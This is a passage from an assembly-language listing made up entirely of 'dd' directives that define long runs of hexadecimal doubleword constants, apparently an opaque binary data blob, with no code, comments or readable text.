0BB3E853Ah, 1E365E6Ch, 82F8CF55h, 621E489Eh dd 59942109h, 0CF8F42D9h, 1B7BF98Ch, 3892DFD4h, 0E4D3E9F7h dd 0ABB1597Eh, 0C6D8752Ch, 0BFB4FAF6h, 86ECF4CFh, 4A160373h dd 0B27C101h, 0E4236C41h, 0B290E172h, 8CB851E5h, 0C2C30F14h dd 39DEF2Ah, 0D58A8AF9h, 65FC835Ah, 1F636F11h, 0D9AF0DEh dd 0EA1E0623h, 7687BAh, 3260C333h, 3D6913BCh, 0D17FB9Bh dd 8A3A7706h, 997E6009h, 9C33FF29h, 0CAFDE631h, 9FDBAF5Fh dd 2FF4679Eh, 501CD7CBh, 0ADD651A3h, 807022Bh, 84AF339Ah dd 6978884Eh, 91D4C931h, 115FD114h, 0D3C1938Fh, 0E6551637h dd 50AE0B3Dh, 0F9D81295h, 0C1F153D0h, 930CCF7Ah, 4AAFDEB0h dd 0C556E449h, 0F1DC7C89h, 0F40D4D83h, 5F32E287h, 9658B57Bh dd 0DFCEEC25h, 0C1C7A0Dh, 1207C4CAh, 11570CE4h, 468121F6h dd 0A5417B13h, 0AF9AD59Bh, 7FBF54C2h, 6D1609E9h, 83F738FCh dd 7726FC1Dh, 9E1F88Eh, 68675A4Fh, 0F24DDEB0h, 8BCD3FD9h dd 0F37C7847h, 33663191h, 9DAC48D5h, 27D7DF52h, 0A50483FCh dd 818144BDh, 86E37637h, 0FABF8CAh, 0B1DD9A29h, 8DF4053h dd 0B4AAA946h, 32EF7214h, 58787FAFh, 0C6FFBBDFh, 75A2E21Fh dd 5DB99EABh, 0EB8454F2h, 95E4B722h, 67D3012Ah, 83AAC880h dd 157A0726h, 0EA2D5959h, 8FA55E8Fh, 0E79FD280h, 71EAD0C4h dd 43D6D366h, 0AB5E99E7h, 0FDAEB96Eh, 0DCF4FD24h, 95E13F63h dd 9A29E5D3h, 75D00203h, 0E18B0D6Eh, 9A6C7C57h, 0CEDAB6FDh dd 0AFC3C43Ch, 817A7904h, 8D32BC7Ah, 0EA52DCDEh, 0E8D9491h dd 7A6594DFh, 83768FB7h, 316BE707h, 0A248C55Eh, 0E702AEh dd 0D5AE9D39h, 0BD1AEEA7h, 0C7E5F7B5h, 0CFF8AC7Bh, 0CCDC923Eh dd 0CD0F137Fh, 0D773B2E7h, 93C07F59h, 0B950DDABh, 1FE58721h dd 57B86687h, 0CFF28DE7h, 59AA9679h, 34B0F486h, 0F7142831h dd 71D20BE9h, 34B4EF1Eh, 0BC66E262h, 0B68571D0h, 75D54255h dd 0DDAEB24Dh, 241CCF94h, 28818A38h, 749D110h, 1E040033h dd 0A7656F91h, 6099E462h, 794E4855h, 0B4448CC4h, 8F4D42F3h dd 50E95B19h, 2AD10C9Eh, 38CF1190h, 0D443CA4Ah, 8D4C9D71h dd 0F5E9383Bh, 91522FEDh, 0F74B9833h, 42D564EFh, 0DE94BAA8h dd 994D29DBh, 446C1DAAh, 1E61B757h, 38AEF9E8h, 16637515h dd 39CE96ECh, 1F7B80A0h, 363EB1DFh, 5028E17Ah, 5EBE12EAh dd 0C98A070h, 0A5AEF24Fh, 3F24B4A9h, 0E9097CD0h, 6138EEFCh dd 5B069516h, 0FBAFB136h, 0BF088A53h, 25B8802Eh, 43A1BE6Ah dd 5ABABF4Dh, 785C7C69h, 148A1F97h, 31E48043h, 0FCB414FDh dd 533496F5h, 953242A1h, 22F269A4h, 513CCF42h, 0CBA3D9E4h dd 510BAEB3h, 0D9380C48h, 0CB6C34BCh, 0E1C8154Dh, 3E7FF08Ch dd 9A45B7Ch, 0EF498B34h, 0F6F13378h, 0DBE929ABh, 0EFBA3173h dd 0A5C20C6Ah, 0A911E4A9h, 0A69B20D1h, 4EA65E26h, 1B818B16h dd 0F338DF77h, 416D31ABh, 39888C34h, 9807B8CFh, 19E2B850h dd 0F262957Eh, 0BBE4A30Bh, 0D5A342CEh, 0F5863922h, 0D051868Ch dd 6E6B6622h, 0B16C3664h, 1DDFAB16h, 0E6985C60h, 1809702Ch dd 0A97168B7h, 0B35B160Dh, 0E11EA361h, 75B29EFCh, 7F70F1C6h dd 0E74A65D5h, 72AF252h, 92FA9827h, 0EBA846DDh, 9BF30E2Ah dd 53913B39h, 0F681DA45h, 74BF2E3h, 87172B48h, 0F901F838h dd 0AE886D28h, 2EE78E86h, 58BB2E84h, 70838ADh, 17AB0AF7h dd 842C89E6h, 9FBC7A9Eh, 0DCC5787Ch, 1C4D2B4Fh, 3E72037Bh dd 3E2BE876h, 0B11C3C6Ah, 44700E0Ah, 0EDF54E3Ch, 0BD5EAE74h dd 98F9CF28h, 20ABFC3h, 84C4F239h, 9BF421Eh, 0CE91898Eh dd 0C4BEBCD1h, 6BF93EDFh, 0B8F3D0E2h, 6CE18D31h, 0A16FFF4Ah dd 0F42FD539h, 0E2F417CEh, 0BDEB169h, 0F4A55F8Eh, 153B6CDAh dd 7729BA08h, 0BFC62D2Dh dd 1479DE74h, 67D3F43Fh, 4DBE18D3h, 0A8147430h, 0AD864796h dd 560541DFh, 395F2889h, 172D012Fh, 21E1C765h, 4AC0B200h dd 0DB140009h, 0EE796C18h, 0FFBA68EEh, 32979C66h, 5D217B53h dd 0DBB7482Dh, 0D3A76F45h, 4805CC32h, 0E8A8B29Dh, 7475637h dd 9405F70h, 0FFD5CAE6h, 7830DE5Eh, 91C766ABh, 7E39FE76h dd 4BE27247h, 63E751Ch, 0E4A57895h, 0C49DEE0Ch, 99CE3976h dd 0C91487BCh, 0C6CCDAF0h, 0DA97C628h, 7DEB4F1Ch, 0DACFF3E9h dd 1ABE4506h, 0A36FE68Ah, 0E687CB5Dh, 7139381Dh, 0CE719F42h dd 51F82CCCh, 2D0D83E7h, 48C2023Ah, 1F2A3F2Ah, 0FC48415Ch dd 3EACFECCh, 0B8D6812Dh, 51846D90h, 36A11D3h, 8820260Eh dd 0A67AC5B6h, 5606FF14h, 0FF30623Fh, 0E9D44D33h, 0C56AF8E0h dd 0A3E54511h, 0B2B09219h, 0B4328C3Ch, 0B8E43CFDh, 988F10CEh dd 0DC9384B9h, 9EB7FECFh, 0CD7AA9A5h, 31E9DB1Ah, 7EC6E22Eh dd 0D4BFB123h, 0AB072871h, 26DD2411h, 918E4144h, 40193ECFh dd 0B1141A2Ch, 0B7603473h, 2423D80Ch, 0B621EEB9h, 0CD5C9838h dd 0C16ABB2Bh, 0F169FECEh, 0E3D2FC63h, 0E81831A2h, 5BC3BF8Ch dd 8831893Ch, 516DB073h, 53C41193h, 0FD91140Eh, 833CA361h dd 5B9830A9h, 0B7A89125h, 0B014CC24h, 0CDF6643h, 2DBADAFCh dd 506189A4h, 0C137C425h, 0DAD8CD00h, 13B5C4F7h, 0D5812513h dd 0D01D99FFh, 27E62CBCh, 11B16D70h, 0E9386F69h, 115E4AB3h dd 4F274704h, 0AD73580Eh, 8EF574E9h, 810229DDh, 886DA727h dd 0FAC935Bh, 0F056FCF8h, 70BDC2B7h, 0B4B7CBEAh, 40823914h dd 8CF86FCEh, 76D879AAh, 23A317F8h, 61BC664Ch, 4AABAE9h dd 4EDBE9F4h, 6C2ECF3Bh, 56FCADC2h, 871B7B45h, 120E4F91h dd 0C45708D3h, 32D79E23h, 0E2F0E57Bh, 0C6AC9FF8h, 0F07F0303h dd 0F4F140C1h, 8E9CB0h, 39ACB5AFh, 95B0183Ch, 0F4DA1C7Ch dd 42FCBE9Ah, 0BC5C3457h, 6B7DFCB2h, 0E1895AC0h, 138354AAh dd 0EB2E338Fh, 0AAA56DFCh, 0B098A563h, 265F47FFh, 9A802611h dd 0C0848B4h, 5C938C83h, 0F91A359Ah, 0EC216438h, 2A86DE3Ch dd 0B897A0FBh, 9687AF81h, 0A1DFCD5Eh, 644348D3h, 3B045F07h dd 132BC281h, 0DEDADA3Fh, 8B19A2AFh, 110E3693h, 0EF3FBD9Bh dd 0CEA45E12h, 65E77FC2h, 22577AF1h, 6913D6D6h, 1499359Ch dd 0B09FCACBh, 1FCD68F2h, 0FC37881h, 0B99C3400h, 3E7EEFAFh dd 0CE1CB392h, 0E17DC1A8h, 8DDA8060h, 1A8C4172h, 55DE1A80h dd 0FA836ADEh, 2F1D7312h, 0AE31E661h, 611C70Ch, 9F8072A6h dd 4F9CA682h, 2385670Eh, 2EBE71ECh, 49B4A24Dh, 36F8E143h dd 9B2AA3FEh, 86CF8127h, 0E0430640h, 77DA8C22h, 7164C30Bh dd 7BCC7D95h, 10D6AA52h, 7B5BD617h, 2AB42F34h, 0F3DFBB24h dd 84E0440h, 7E5A90CAh, 3A7DFA38h, 80F6A38h, 0D16C8B3h dd 8D15EA5Ch, 0A7398250h, 54C08C3h, 0B4188511h, 670991D0h dd 0B1BD1720h, 93DB39E8h, 3FA59064h, 7989CF25h, 2AF85EDBh dd 0A1609282h, 0C1D504B2h, 0E9C2329Dh, 0E5B4E92Fh, 7CACFB9Dh dd 9E3924BAh, 0A846F070h, 48448A44h, 0CA2CCB48h, 0BE3CB00Dh dd 0CCCF0CE1h, 5014B864h, 71002155h, 5E21A1E6h, 3AA6BEE2h dd 75AE0BE6h, 64E73131h, 16530033h, 24D441Ah, 192ABADCh dd 7D46E79Bh, 0C040ED20h, 8C4B2A99h, 40B9344Bh, 0A6A17512h dd 60F46499h, 39EC0871h, 8E5AF8DCh, 6B64C5E1h, 126ADE2Ch dd 0A43F9ABFh, 914BB7A5h, 0D56EDC12h, 8FE0351Ch, 1707DE85h dd 0D557F096h, 0C5FEEBFAh, 0A55AB6B9h, 2CEA04C8h, 72D86B43h dd 0C5C3FB0Ch, 15838C9Dh, 508402CEh, 8F208D88h, 72127F6Bh dd 0DACC5EA3h, 9D6838A5h, 595D37DEh, 0E5952603h, 5BB14B6Ah dd 6CC5D989h, 6AD15BD4h, 0FAD96C4Dh, 0A8D280EBh, 37DB75EDh dd 4F7E7073h, 0D97353BDh, 5F1B17C5h, 7EC72C25h, 0A2559AE1h dd 0C5549DD2h, 0C4B25B6h, 0B797AF07h, 36B39907h, 9E60752Bh dd 0E923F441h, 0E6D96724h, 220BE348h, 4CB482B1h, 1E82A64Dh dd 21560CA9h, 41741543h, 0C40415Dh, 0CF50770Fh, 9F185A1Dh dd 8EB2EEC3h, 0A0E35BA6h, 90AAC5C8h, 36FCC072h, 0D9472EAh dd 639C6A5Ch, 0D3306C8h, 0DCA61E93h, 0B2B1FA65h, 6A93DBBh dd 0ACFDE432h, 0EE26340Ch, 7251A3E1h, 0F0378443h, 22DBB448h dd 0BFED9398h, 0CF6E62F0h, 94643DA4h, 0BD2326DEh, 0E10989Dh dd 0C2A7E3E4h, 4459AB16h, 0B8DE290h, 744111B3h, 67311AEFh dd 17C82C81h, 8EB73247h, 2CBB1B0h, 15349FF8h, 8A6D2BA2h dd 0EDB15109h, 1981EECh, 1F4450FCh, 5FD06EB6h, 21491CD4h dd 9330C766h, 890F222Bh, 56CAEAE8h, 0BD096E07h, 6B4F7D82h dd 0A1CA4A25h, 9B5A7F7Dh, 0D0DA58DCh, 90CF407h, 0C662348Fh dd 0DD317B53h, 113D2978h, 376C097Eh, 6593324Eh, 6CDE8C3Ch dd 7C36D3EEh, 0CA53C4B9h, 9921150Dh, 361BD93Fh, 0D7FFC060h dd 2C52C192h, 1667100h, 7C37F022h, 6660BAB6h, 7A53D58Dh dd 8B546D28h, 393CF4E4h, 6B0C404Eh, 7A5E5ABh, 32D2A07h dd 2B0289F4h, 66F06B03h, 2E6DD2F3h, 218391E8h, 0DE29630Ch dd 0A2C54170h, 0D7CFB38Eh, 45C09DD7h, 32CCB22Eh, 4B0F7CF6h dd 0A8FBFFFFh, 476E4FA0h, 0E540918h, 67FA1F3Ah, 0CF57DC97h dd 0F01D51E1h, 7940DE5Ch, 0CE95A5E9h, 18B56B3Dh, 914139DCh dd 0D1BC5F8Dh, 1D6BD0DAh, 0B4F9E540h, 280AF87Eh, 0E60CCE69h dd 981C2C50h, 277329AAh, 0FA912DAEh, 44E24513h, 7132B5F7h dd 106FC963h, 6143816Eh, 5CC2B0F4h, 0BC4242E1h, 35E12CE0h dd 9BDAA99h, 774C6B58h, 1E6D3B7Eh, 0E838ED96h, 0EF66DD4Fh dd 0A002C988h, 580B3696h, 0C4BB8C32h, 7E96508Eh, 0F0F3632Eh dd 6771B617h, 5795584Eh, 7683502Eh, 0E36F60F3h, 977DF81Eh dd 55BDD424h, 0D676B7BFh, 0E3DFBF8h, 51711C3Ch, 0E9D8D82h dd 0AF01C3EDh, 0D87A145h, 4BB2903Dh, 2E36FA19h, 558B7E58h dd 88DFE1C7h, 0BF659440h, 102968E7h, 6D36DCAEh, 36126189h dd 584E922Ch, 8EF26A7Eh, 871BA796h, 0B04E8F79h, 31EEF6FEh dd 0CEBA6D43h, 1F6E37E3h, 7D56D329h, 3B4E66F9h, 696F57C8h dd 0AAB1BEEBh, 951CF2F5h, 0E9427721h, 8E963D94h, 0F710FA15h dd 0C49186A6h, 9D98D3E6h, 491A2EC3h, 0F94504F7h, 91A59F4Ch dd 0E5B5B717h, 4A434086h, 0B0975EA7h, 36318898h, 82E290FFh dd 0FD88B4FEh, 41C9D491h, 653CFBEDh, 0E33C688Ch, 0AD007BACh dd 0F0204115h, 6CF1A1C8h, 4C929206h, 0D0DB765Dh, 0E1A650F6h dd 10C261FEh, 451D4937h, 0A34C95FFh, 7293375h, 0FDEC9A0Dh dd 260E1044h, 20DD51ACh, 3F1492D7h, 0FC6CB031h, 2564D725h dd 56D35E89h, 2E8B3A9Dh, 90550CD5h, 4D404EE9h, 6C8A26B5h dd 0FD81A0C4h, 122ECC18h, 0A3B2CA67h, 5C11CF0Dh, 22FF1075h dd 0E9D58997h, 95E56274h, 866289ACh, 9084CC92h, 0C22FA393h dd 9ED3C32Eh, 0C2A7ACF9h, 17CEAA08h, 72A077DFh, 0C9052F29h dd 0ED7B732Ch, 7EBC1E5Ah, 0D1568A3Dh, 0B5E9B6DAh, 0E0880C6Fh dd 0E1C37CD2h, 0E44DBD08h, 2FE17CA2h, 0E17E64C9h, 0BB983425h dd 8AE7FC09h, 57590265h, 7EB4AA60h, 0B82DB110h, 4944FC9Dh dd 87DE8DDCh, 8BED0444h, 0ACEC2A28h, 1B969530h, 0A3CF1C4Bh dd 0DB440AE0h, 0D5429D45h, 36BEB260h, 9F44F032h, 1E2D9D2Dh dd 0FA6F586Bh, 62F73C1Ah, 0CE0C6039h, 2E8AC6BEh, 2A5FA53Ch dd 1961EBEh, 0A4FB6B33h, 253C29CBh, 18D556ACh, 3BFC8F71h dd 52000D40h, 2B387CE1h dd 0FB34AF51h, 0F8B51924h, 6AD19938h, 4822A6EFh, 0DC31E3D7h dd 6FD6F9Fh, 95E90192h, 0B258EB6Eh, 6CB1EE14h, 0D3A4E014h dd 25C5E819h, 0AD0DDD97h, 0DE74D7D2h, 0CCBA8F68h, 7C2F988Fh dd 5ADFE696h, 1C4BB7E4h, 0CE472AA6h, 0CB8C6BCEh, 1C23EFF6h dd 0D3175A0Dh, 654134Fh, 0EDCD731Bh, 0C67BF587h, 66D1CD23h dd 5265F34Fh, 822E05Eh, 66E6CE90h, 0DD1328F0h, 6791739Bh dd 15CDD2A8h, 321CD0D2h, 0C08BBD3Ah, 84178643h, 2CA0A9B2h dd 123C44D7h, 336AB4EFh, 0E5474775h, 4B3A613h, 0CA1BA25Ch dd 25EEE719h, 0AC3828A0h, 724A982Dh, 0C0CC1AF5h, 2C1A61C0h dd 0CBC44140h, 50E6D275h, 9D69CA33h, 922F89C9h, 8A91A395h dd 267F2925h, 0BF3D4491h, 0F09B74DAh, 321E09A8h, 0A0BC52A1h dd 2D94FFB3h, 9D752F8Ch, 852B0D81h, 70BF5F4Eh, 0D1E22C86h dd 862C62E7h, 0AF874BA1h, 6C94642Eh, 0F29898D5h, 52ED17D2h dd 0B6B17845h, 0EEE29662h, 0EA41ACD4h, 3FE77EC1h, 0DEDF8D54h dd 42E5382Eh, 5CA6BC07h, 4A473831h, 2829DD5h, 0F85C5DCDh dd 0D902478Bh, 0C6355F0Fh, 69E2B6B6h, 0D9F083EBh, 0A07737A0h dd 0DE509144h, 0FD4C468Ah, 137F5B6Bh, 1B8D2725h, 4137DD3Bh dd 0D85809A8h, 68DBB203h, 965CBFE7h, 0F15B2095h, 0BAADEB40h dd 8FB12E24h, 0CD55095Bh, 44F3C1A9h, 6C7F68Fh, 90851429h dd 90873B40h, 73CD58BAh, 46A107F6h, 113500FAh, 0F8EDCF1Eh dd 1637EFFh, 0DA263A49h, 0ED77F218h, 4B2BBFDFh, 0EAE47Ah dd 6A432F2Ah, 0DE60DC1h, 45A1DACBh, 0D0841618h, 0C645E587h dd 0CED2011Ch, 0F2697728h, 0D136CB1Ch, 54AD79D7h, 7CBD20h dd 0BABC13CCh, 9D05D2F4h, 37D548CEh, 122A94Dh, 0EDEB691Ah dd 3B7B403Ah, 0FC8F4313h, 26DE40A0h, 423E11D8h, 0C6ECFD4Eh dd 81B6A3BCh, 48002F09h, 9189FB9Eh, 4350A811h, 7A40B9D2h dd 0F3211220h, 825E3112h, 0CC525E8Bh, 0D2BA244Bh, 0A9BB8A22h dd 0D0B3476Fh, 96D878C3h, 0A99ACF5Eh, 9E463DE5h, 3647EBA3h dd 0C23B2657h, 8EE6F917h, 4731A0FCh, 0C793FC38h, 0DA61FC9Fh dd 77C7C618h, 3F081DDBh, 8A932D4Bh, 6936B40Fh, 300B1D5Fh dd 0DDAF49B9h, 0C3EF0D3h, 8B6B7CC6h, 0C356EA16h, 82D60947h dd 7185C602h, 0BF2ABB4Ch, 80AA1DF8h, 0FA9482EEh, 43578EB4h dd 5DB3DC9Bh, 0B283861Fh, 867F6E6h, 97480BF3h, 8F335F07h dd 0BC206625h, 362D0B7Ah, 0D6357CF9h, 0E03F7B0Eh, 8028CC4Dh dd 4DC21DDh, 0B7091AAAh, 3B849678h, 0FDD4534Dh, 0E3D37A23h dd 72C2FA3Eh, 21AA7B7Bh, 10852D3Eh, 0FF449C69h, 52CF9FEEh dd 0BC1504E7h, 325FA973h, 53619FD0h, 61961157h, 882E139Ch dd 63D59344h, 86E8161Bh, 0E2DF0CFDh, 0D6C50CDBh, 766D9286h dd 0EED9DE7Dh, 80BA4BC5h, 0FFE33EFBh, 4B5F0C6Ah, 2BDE5407h dd 4F4A2C41h, 0F1FA707h, 23442628h, 1E6938B8h, 325498EDh dd 9D3CBCCDh, 0A1A8BE13h, 20E2353Ah, 0E71E0F77h, 330CED75h dd 295C91A5h, 9B15C480h, 7940214Bh, 0F8C25C40h, 3F39F06h dd 8C231F31h, 0F3393A5Dh, 7172E7F1h, 48965AC8h, 868EBEF2h dd 0D5E614D7h, 94BB48B2h, 92F120EFh, 0F31B5B34h, 77A593C8h dd 0B3C4CDh, 8762410h, 87E5E041h, 0C52E7ACCh, 0B7E20D54h dd 13626E92h, 204F5A76h, 5FA95E06h, 0F1BE848Ch, 0F0EB7D26h dd 0C037051Bh, 8F3D3700h, 15E6C81h, 0ECBBD144h, 6A4D7461h dd 0E0F98C41h, 0AA45F9CFh, 5A05D8A3h, 0B9EB0EA0h, 4AA965h dd 41AC8BF6h, 72EF661Ch, 8C4C02E6h, 0C557C6D0h, 0BDD7B6FAh dd 224A82FCh, 48DB27E2h, 864019E0h, 60442744h, 96D1B651h dd 9459E993h, 0FAF79E2Ch, 0EEC9547Bh, 0BC229B56h, 0AC53A3DFh dd 1FD58707h, 0A83F4834h, 5E1E7583h, 0C5B43566h, 0E657E786h dd 5DB97ADEh, 4EB4C7F1h, 7CC92D55h, 573B90A6h, 4BB7DDF4h dd 37C169CAh, 0DACF5603h, 0A8209665h, 0ACA4E568h, 0E5E49674h dd 0BE78043h, 11F741F0h, 0D427CA01h, 0B67FDE6Bh, 95A4E56Fh dd 0FD086D90h, 5A998E58h, 0D9A97F51h, 958C2483h, 0A8E3D2CEh dd 0ADB8B731h, 8E387EF5h, 1BD56DDDh, 37680238h, 82BA9F5Bh dd 6D24CDE7h, 9DBF1F9h, 0FE887627h, 9A396905h, 4CB8D29Ch dd 0C1785CAAh, 7893BC0h, 75848001h, 0F265D225h, 0FC71F606h dd 5CC91DDh, 1AB9E6h, 0CE34F9D7h, 5F40268h, 23E73CBh, 0D9CCBFECh dd 0B2DBB119h, 0A5869764h, 53DFCEEEh, 0DAEA0D37h, 99A1B61Dh dd 0D67D2B91h, 0B747E318h, 1A6C7EC0h, 0EE40417h, 98B0C3F1h dd 2B7607B8h, 8BFF8513h, 527BB74h, 90FB3D55h, 67B8CE0Fh dd 1C308E6h, 935255FBh, 0AC1B0ECCh, 0C17D30B0h, 5C949CF8h dd 2590E9AFh, 0DC69EE8Bh, 0D8F535D3h, 40AFF4D6h, 0ABEC7E31h dd 0FE7CAF65h, 68908660h, 0A41692C6h, 93EEA4DFh, 6A0EF031h dd 508D1E3Ah, 0D37A5431h, 0E8520408h, 0D20E89C6h, 4EAADF12h dd 54F02AD7h, 0D869E81Bh, 8218CD66h, 40D2E68Ah, 9971A783h dd 7070952Dh, 242CB3B7h, 5992A06Fh, 0CB430F29h, 0B20996BAh dd 0BE23FAD5h, 0F5485C95h, 0A294F6EBh, 20CDA726h, 7DE9C2C6h dd 73C38E2Eh, 0BE905770h, 0B09B67E3h, 4DBFF660h, 0FD88F264h dd 47D6C2ADh, 6BC7FE3Ch, 95155BE7h, 0DF2D6193h, 0DC8202F6h dd 5659092Bh, 8118E584h, 50A8407Eh, 60F50D00h, 14BB14E5h dd 14EEBF04h, 7D5EDD76h, 0CB4FE6Ch, 25BF38EDh, 0F1FF24ECh dd 1C74C3F3h, 0DB6E0DEAh, 0BDCBB46Ah, 97109EAh, 42746AACh dd 2808FE67h, 117249A4h, 118182B4h, 0DA8A760Dh, 0F6A10FDCh dd 75F85ABCh, 0ABAA5B46h, 9F3D584h, 45E85584h, 45DE273Ch dd 70C9F25Fh, 86DA0933h, 567AE4BAh, 9B47E292h, 0D5F9148Fh dd 0CA22BF47h, 96CBD37Ch, 469A260Fh, 93692E44h, 1BB04B7Ah dd 15C89FE4h, 6BEF2ED2h, 806C079Bh, 11107007h, 592BA84Eh dd 7C0D69C3h, 2E34EC40h, 0FC6656D1h, 0F4E30B7h, 66ECE83Dh dd 45B7C26Bh, 0E8C20D38h, 0B77A6607h, 0D1E669F1h, 569B3F6Ah dd 0AD8A583Dh, 11EA9F35h, 9CFB2757h, 0F74B33F2h, 0C0CB2442h dd 35FDBDA9h, 0C151CA5Bh, 0AE925B7Fh, 8B819F62h, 7B9DF8ACh dd 30FAF977h, 6CF1B967h, 4C84BA41h, 3AED273Ah, 52EBA256h dd 0B3C41576h, 0F55C010Eh, 0DB74C16Ah, 78AF64C1h, 78A6FE77h dd 9F6D3CE3h, 51450615h, 694B5BC5h, 0EC7D1AE0h, 0DD107D11h dd 0C0F15306h, 716082B1h, 655CEA22h, 6EE4FDABh, 0B4618DBEh dd 0F1AEDB53h, 0DA21630Bh, 39F77381h, 37AE8A45h, 9D3912B3h dd 39687C5Fh, 446B2110h, 0B62D2BDh, 0FF6668A7h, 8BB0EAE2h dd 6955C26Eh, 0AFC91313h, 1F55FB5h, 74260316h, 85D57B62h dd 0D0C25B38h, 0FD122B1Dh, 0C2732B6h, 1536E77Eh, 43D4F0EAh dd 0A39C4A5Ah, 3C023FE2h, 0EF84A36Ah, 51E9A38Fh, 97C8F95Fh dd 3DCA12F5h, 0E1E76DACh, 3834ACF6h, 0AEC82A05h, 41B646C3h dd 0C9EF93DCh, 1C4B1E5h, 9DD338B4h, 0B978F33Bh, 0D1A74DAEh dd 76C86AB2h, 3C804A86h, 0ABB18858h, 0C15846B9h, 3F180C83h dd 0F162FC86h, 0F5CED20Dh, 3043C1A7h, 7817AAD8h, 0C4226884h dd 3D7FCDFDh, 70C1CCDEh, 0E9FEE2E0h, 84911A2Dh, 67921926h dd 4069C46Eh, 690D2A13h, 0D7D6ACE2h, 42C5D8AFh, 0DD98D106h dd 2486E518h, 80B853Ah, 0C9D94054h, 0A5FB56E8h, 2BCE58E2h dd 6D96D794h, 3C243082h, 11EF8179h, 0EB4FDDC7h, 0C7F3F0CAh dd 0E5B8583Dh, 0B8256A09h, 9A187DA3h, 1403726Dh, 7CD52DC4h dd 86AF7E00h dd 31E1C3E0h, 8A81613Eh, 9AA3CC0h, 0C17D8302h, 27D093C0h dd 63E3D2E2h, 0B702F9DFh, 5E5E9382h, 0F7A85D23h, 87935799h dd 0DE0DEB95h, 0EADCCFC6h, 0D32B8127h, 0FE09AF89h, 0FD585582h dd 7A9C1BD2h, 3C9153E4h, 0BB4B67C7h, 0C83A91D7h, 0AC8AF2C3h dd 4678C8C8h, 0B7449A50h, 2EFBC78Eh, 0CE2316FFh, 0DD0FD3AAh dd 0D1F958D9h, 8509F720h, 7A47755Bh, 62721F2Dh, 3CB116C2h dd 9B94B257h, 0D982AEFEh, 0E93526DDh, 1421AC1Dh, 0D04F8E8Ah dd 11ED111Fh, 344916E3h, 0D5AAD285h, 1942B6C2h, 0B6C75245h dd 510E9BE5h, 28AE6369h, 0F49ECEE5h, 5ADB9DA3h, 3B15E037h dd 0D88FB5A2h, 33652F1Dh, 1359930Fh, 98D46E60h, 945655D2h dd 0B1CEACFEh, 266AAD56h, 0DED6802Dh, 89D2E73Eh, 0E2201CDBh dd 0A061768h, 0ACA64416h, 7829AF5Eh, 314A19C9h, 0CBA3C514h dd 718DF05Bh, 0E83E3292h, 13A9B3E6h, 33392DF4h, 2C4A3DE0h dd 8F490DD4h, 632811ADh, 3694DA85h, 15A918Dh, 0CD82737Fh dd 2683D73Bh, 0F4ECDEFh, 0BA2C3D44h, 6B4796A8h, 69419D1Dh dd 97957DFh, 5BC45EB3h, 4E2D4A78h, 1BA3D888h, 0A5DCBEF4h dd 88CF4C56h, 0EF4C3AFCh, 7FAA8C3Bh, 80E6EF21h, 3D8DA3D8h dd 98147CFCh, 26A11257h, 156BDE38h, 1C96EB33h, 1B1086D8h dd 8AABFDF7h, 0BD5E433Eh, 92119775h, 0F48AFEABh, 98CBCB75h dd 5078C4F5h, 74F09AF2h, 0C8813339h, 0F5C9D287h, 88E24F6Fh dd 8B4959C3h, 3B1EE523h, 8DB20F0Ah, 3DB2D57h, 0A3471105h dd 0C9F14C20h, 61C7172Ch, 0FA78772Dh, 863EC294h, 0AD75CC9h dd 35A4CD86h, 515FD95Ah, 4E081C89h, 9421285Ch, 0B1B1AA96h dd 6ABF69BFh, 30DE12F5h, 26666D77h, 63CFD9EBh, 5F374EE0h dd 80C22C99h, 52E7EECEh, 886FF20Eh, 90C90C46h, 56DADEFh dd 88A67CC3h, 2BD9D9Bh, 0E5310A74h, 65672332h, 0A244AC6Ch dd 724DB29Ah, 95859716h, 0FA07D920h, 0D654BBB0h, 166AE3C4h dd 0A52C6676h, 0F7FEBC71h, 2288932Ah, 0CFD017ABh, 968345FDh dd 0A4CE4A15h, 0D8C8D74Bh, 0E51B3AB7h, 0B52F688Dh, 568C00FCh dd 9F169380h, 9E4F26EFh, 0C740E9BAh, 665B6DD7h, 0A0737F57h dd 0C31BE94Eh, 0A491AD16h, 0ABBDA652h, 31D88292h, 7ED30A64h dd 0BD721A43h, 0E652C2F1h, 71BAE6DBh, 7BF1664Eh, 0D4A9F6E7h dd 91979478h, 631F7012h, 63DEEDB6h, 1E2883AAh, 614C58Eh dd 882D51D1h, 0F4C79B33h, 33F287FEh, 0A7D161DAh, 0F8A726E5h dd 5B635C13h, 79083D7Eh, 0D1ACF748h, 8AE4B957h, 98A8AD7Ch dd 16953B8Bh, 4E33AF9Ah, 2B7ECD5Bh, 0F9A2EF52h, 0CF534A20h dd 0AE8D5139h, 607FED48h, 147FEF36h, 8A42DBECh, 0CDA80478h dd 20997B2Bh, 0A9C56B08h, 0A42FFE92h, 0DFB953ABh, 8A784EEBh dd 0C460243h, 2513CC12h, 0D5E3A65Eh, 54BFE9AFh, 0B63346Dh dd 8DD08F5h, 81E6A34h, 73056E78h, 1FD585D5h, 531621A6h dd 50CFDE02h, 84FE632Dh, 74FD07C0h, 17906569h, 4C2608CAh dd 4FF93FACh, 7A55EB08h, 5AC67563h, 0E06D89A9h, 3F0EF44Ch dd 0EE921022h, 8B8D6D68h, 30878A78h, 0AC90E333h, 34DAD0FBh dd 0CEBA38CBh, 0E06796BEh, 0DA3F82EAh, 0B5BAE5CCh, 0FDDC7E9Eh dd 0DE2F669Fh, 38697E66h, 0E2FCFF8Bh, 0F9876EB4h, 0E92B19h dd 0DB8960BEh, 21A0F7E3h, 0A39C716h, 90370D1Ch, 0CF95A89h dd 5D071046h, 0F10F844Fh, 87F11424h, 4061D089h, 466CDA12h dd 51BB3373h, 537FFA7Ch, 0C795C614h, 71844BAAh, 8CD9F3AFh dd 0E4A15160h, 0B1DBF58Dh, 0E97555C0h, 2A34D794h, 0CAD73465h dd 9A84BABEh, 20399FA2h, 0FCC78926h, 0BEB5F846h, 44A0E2A3h dd 0CF0BAA7Dh, 958695DBh, 2504B8C1h, 0A6B0BA9Dh, 0DF54DD38h dd 583B7570h, 0A882E3FEh, 98EC334Dh, 62124CC6h, 9376E948h dd 9A48E0A8h, 4803EF56h, 0FA892B94h, 14F717B0h, 0B085B89h dd 80766F05h, 17FB14A7h, 94555631h, 86E3E069h, 0F45D245Bh dd 5D2E19D1h, 0AD2595ABh, 0F2189F6Eh, 23BAB3BBh, 0DA092AD6h dd 94B4F6A3h, 0B34B392h, 0D941E581h, 391B27DFh, 0F5A3CE20h dd 0BA21A9E1h, 8D09FB02h, 173C9AD1h, 3AEE2EF4h, 0EEEBA057h dd 0DE184E03h, 8E6DA221h, 22478DFh, 34D843D0h, 4BC46DA8h dd 2296DE8Dh, 1B7600E5h, 2AC5EA79h, 0B73B8F92h, 7FAC25DCh 